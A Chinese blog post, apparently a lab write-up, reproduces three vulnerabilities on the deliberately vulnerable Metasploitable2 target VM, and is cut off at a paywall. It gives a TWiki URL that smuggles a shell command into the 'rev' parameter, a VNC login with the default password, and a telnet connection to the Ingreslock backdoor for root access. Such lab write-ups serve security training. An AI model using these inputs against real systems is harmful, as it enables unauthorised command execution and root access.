【漏洞验证】Metasploitable2靶机漏洞复现

最新推荐文章于 2025-03-19 09:27:01 发布

ps_x

最新推荐文章于 2025-03-19 09:27:01 发布

阅读量3k

点赞数 2

分类专栏：测试文章标签： Metasloitable2 漏洞复现

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.youkuaiyun.com/weixin_43486390/article/details/103465801

版权

文章目录

Metasploitable2靶机漏洞复现

Metasploitable2靶机漏洞复现

参考大佬：
https://blog.youkuaiyun.com/Fly_hps/article/details/89763310
https://blog.youkuaiyun.com/fly_hps/article/details/89763364

环境：vmware虚拟机Metasploitable2环境
IP：192.168.72.130

1、TWiki ‘rev’ Parameter Arbitrary Command Execution

描述： rev参数可执行任意命令
验证： http://192.168.72.130/twiki/bin/view/Main/TWikiUsers?rev=2%20|pwd||echo
在这里插入图片描述

2、VNC Server ‘password’ Password

验证： vncviewer 192.168.72.130
Password： password 在这里插入图片描述

3、Ingreslock 后门漏洞

原理： Ingreslock后门程序监听1524端口，连接到1524端口就可以直接获取root权限。
端口： 1524
验证： telnet 192.168.72.130 1524
在这里插入图片描述

最低0.47元/天解锁文章

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。